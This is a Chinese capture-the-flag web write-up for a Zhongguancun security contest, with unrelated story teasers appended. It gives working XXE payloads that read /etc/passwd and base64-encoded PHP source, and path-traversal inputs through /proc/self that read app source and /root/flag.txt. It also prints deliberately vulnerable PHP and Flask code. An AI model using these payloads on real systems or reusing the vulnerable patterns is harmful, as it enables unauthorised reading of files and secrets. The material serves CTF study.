中關(guān)村第三屆新興領(lǐng)域?qū)n}賽網(wǎng)絡(luò)與信息安全領(lǐng)域?qū)m椯怶eb WP

0x01 Game

這題迷得很悬嗓,查看下一下js丈攒,按著ajax發(fā)送請求得條件自己發(fā)一個請求就好了

payload:

/socre.php
POST:score=15

0x02 who_are_you

XXE的題目,沒有任何限制墓捻,直接任意文件讀取......

<?xml version="1.0"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY> 
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

可以讀到passwd的信息谜叹,所以主要就是找到flag就好了,最后是在index.php里找到了flag括堤,由于php文件里有<等特殊字符碌秸,所以利用file協(xié)議讀的時候會出現(xiàn)解析錯誤導(dǎo)致沒有回顯,所以換一個編碼的協(xié)議讀就好了比如php://filter

<?xml version="1.0"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY> 
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]>
<root>
<name>&xxe;</name>
</root>

index.php源碼

<?php
libxml_disable_entity_loader(false);
$data = @file_get_contents('php://input');
$resp = '';
//$flag='flag{1900cb98-96c4-45ac-a22e-86da06d59a3e}';
if($data != false){
    $dom = new DOMDocument();
    $dom->loadXML($data, LIBXML_NOENT);
    ob_start();
    $res  = $dom->textContent;
    $resp = ob_get_contents();
    ob_end_clean();
    if ($res){
        die($res);
    }

}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>welcome</title>
    <link rel="stylesheet" href="./style.css">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">

</head>
<body class="contactBody">
<div class="wrapper">
    <div class="title">


    </div>


    <form method="post" class="form">
        <h1 id="title">請輸入姓名</h1>
        <br/>
        <br/>
        <br/>
        <input type="text" class="name entry " id="name" name="name" placeholder="Your Name"/>
    </form>
    <button class="submit entry" onclick="func()">Submit</button>

    <div class="shadow"></div>
</div>

</body>
</html>
<script type="text/javascript">
    function play() {
        return false;
    }
    function func() {
        // document.getElementById().value
        var xml = '' +
            '<\?xml version="1.0" encoding="UTF-8"\?>' +
            '<feedback>' +
            '<author>' + document.getElementById('name').value+ '</author>' +
            '</feedback>';
        console.log(xml);
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function () {
            if (xmlhttp.readyState == 4) {
                // console.log(xmlhttp.readyState);
                // console.log(xmlhttp.responseText);
                var res = xmlhttp.responseText;
                document.getElementById('title').textContent = res
            }
        };
        xmlhttp.open("POST", "index.php", true);
        xmlhttp.send(xml);
        return false;
    };
</script>
</body>
</html>

0x03 show_me_your_image

主要思路就是上傳文件悄窃,上傳文件后讥电。文件名會被編碼,多測幾次就可以發(fā)現(xiàn)是一個變表的base64編碼轧抗,base64編碼是固定3個字符編碼為固定的4個字符恩敌,題目的還有一個點(diǎn)就是任意文件讀取,name參數(shù)后跟任意文件的變表編碼的值横媚,所以根據(jù)上傳的文件名進(jìn)獲取對應(yīng)的編碼潮剪,所以上傳的文件名需要構(gòu)造,文件名的長度需要是3的倍數(shù)才能確定最后的文件名分唾,并且隨便輸入的報錯信息不是apache+php的抗碰,最后才確定是一個Flask模擬的php,騙人用的~~~

所以現(xiàn)在講下具體操作步驟:
(1) 設(shè)置要讀的文件(比如要讀的是passwd文件),設(shè)置上傳的文件名為'../.././/etc/passwd'(測試可以發(fā)現(xiàn)是2層目錄绽乔,長度要是3的倍數(shù))
(2)分段進(jìn)行上傳弧蝇,收集各段的編碼后的字符進(jìn)行拼接,比如axb8axb8axnVSml8jmNBjUS9
(3)訪問img.php?name=[文件編碼后的編碼]就可以讀取到相應(yīng)的文件



所以接下來就是找flag的路徑折砸,由于我們不知道各個文件的路徑看疗,所以用/proc/self/來僅需讀取

../../././proc/self/cmdline   #可以讀到當(dāng)前服務(wù)為app.py
#python3 app.py sleep 36000
../..//proc/self/cwd/app.py  #可以讀到本題的源碼
#####################################
import os
from urllib import parse
from base64 import b64decode, b64encode
from utils import r_encode, r_decode, read_file
from flask import render_template, Response
from flask import Flask, session, redirect, request
from werkzeug.utils import secure_filename

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(24)

UPLOAD_FOLDER = '/tmp/uploads/'

ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER


def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS


@app.route('/')
@app.route('/index.php')
def home():
    file = session.get('file')
    if file:
        file = bytes.decode(file)
        file = parse.quote(file)
    return render_template('index.html', file=file)


@app.route('/upload.php', methods=['POST'])
def upload():
    if request.method == 'POST':
        file = request.files['file']
        if file and allowed_file(file.filename):
            if not os.path.exists(app.config['UPLOAD_FOLDER']):
                os.makedirs(app.config['UPLOAD_FOLDER'])
            filename = secure_filename(file.filename)
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
        else:
            return "不允許的格式"
    session['file'] = r_encode(b64encode(str.encode(file.filename)))
    return redirect('/')


@app.route('/img.php', methods=['GET'])
def img():
    file = request.args.get("name")
    file = r_decode(str.encode(file))
    file = b64decode(file)
    file = UPLOAD_FOLDER + bytes.decode(file)
    image = read_file(file)
    return Response(image, mimetype="image/jpeg")


if __name__ == '__main__':
    app.run(
        host = '0.0.0.0',
        port = 80,
     )


../../././proc/self/cwd/templates/upload.html  
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    <table>
        <tr>
            <td>
                上傳圖片
            </td>
            <td>
                <input type="file" name="file">

            </td>
        </tr>
    </table>
    <input type="submit" value="上傳">
</form>
{% if file %}
    <img src="img.php?name={{ file }}">
{% else %}
    請上傳一張圖片
{% endif %}
</body>
</html>
<!-- flag in /root/flag.txt ! Get it ! -->

所以flag在/root/flag.txt下了最后利用

../.././proc/self/root/root/flag.txt     #讀flag

0x04 按F注入

fbctf2019題目的修改題,目前只做到了回顯數(shù)據(jù)庫信息睦授,還沒讀到flag两芳,等復(fù)現(xiàn)完再寫
參考:https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市去枷,隨后出現(xiàn)的幾起案子怖辆,更是在濱河造成了極大的恐慌,老刑警劉巖删顶,帶你破解...
    沈念sama閱讀 207,248評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件竖螃,死亡現(xiàn)場離奇詭異,居然都是意外死亡逗余,警方通過查閱死者的電腦和手機(jī)特咆,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,681評論 2 381
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來录粱,“玉大人腻格,你說我怎么就攤上這事画拾。” “怎么了菜职?”我有些...
    開封第一講書人閱讀 153,443評論 0 344
  • 文/不壞的土叔 我叫張陵青抛,是天一觀的道長。 經(jīng)常有香客問我些楣,道長脂凶,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,475評論 1 279
  • 正文 為了忘掉前任愁茁,我火速辦了婚禮蚕钦,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘鹅很。我一直安慰自己嘶居,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,458評論 5 374
  • 文/花漫 我一把揭開白布促煮。 她就那樣靜靜地躺著邮屁,像睡著了一般。 火紅的嫁衣襯著肌膚如雪菠齿。 梳的紋絲不亂的頭發(fā)上佑吝,一...
    開封第一講書人閱讀 49,185評論 1 284
  • 那天,我揣著相機(jī)與錄音绳匀,去河邊找鬼芋忿。 笑死,一個胖子當(dāng)著我的面吹牛疾棵,可吹牛的內(nèi)容都是我干的戈钢。 我是一名探鬼主播,決...
    沈念sama閱讀 38,451評論 3 401
  • 文/蒼蘭香墨 我猛地睜開眼是尔,長吁一口氣:“原來是場噩夢啊……” “哼殉了!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起拟枚,我...
    開封第一講書人閱讀 37,112評論 0 261
  • 序言:老撾萬榮一對情侶失蹤薪铜,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后梨州,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體痕囱,經(jīng)...
    沈念sama閱讀 43,609評論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,083評論 2 325
  • 正文 我和宋清朗相戀三年暴匠,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片傻粘。...
    茶點(diǎn)故事閱讀 38,163評論 1 334
  • 序言:一個原本活蹦亂跳的男人離奇死亡每窖,死狀恐怖帮掉,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情窒典,我是刑警寧澤蟆炊,帶...
    沈念sama閱讀 33,803評論 4 323
  • 正文 年R本政府宣布,位于F島的核電站瀑志,受9級特大地震影響涩搓,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜劈猪,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,357評論 3 307
  • 文/蒙蒙 一昧甘、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧战得,春花似錦充边、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,357評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至聋亡,卻和暖如春肘习,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背坡倔。 一陣腳步聲響...
    開封第一講書人閱讀 31,590評論 1 261
  • 我被黑心中介騙來泰國打工漂佩, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人致讥。 一個月前我還...
    沈念sama閱讀 45,636評論 2 355
  • 正文 我出身青樓仅仆,卻偏偏與公主長得像,于是被迫代替她去往敵國和親垢袱。 傳聞我的和親對象是個殘疾皇子墓拜,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,925評論 2 344

推薦閱讀更多精彩內(nèi)容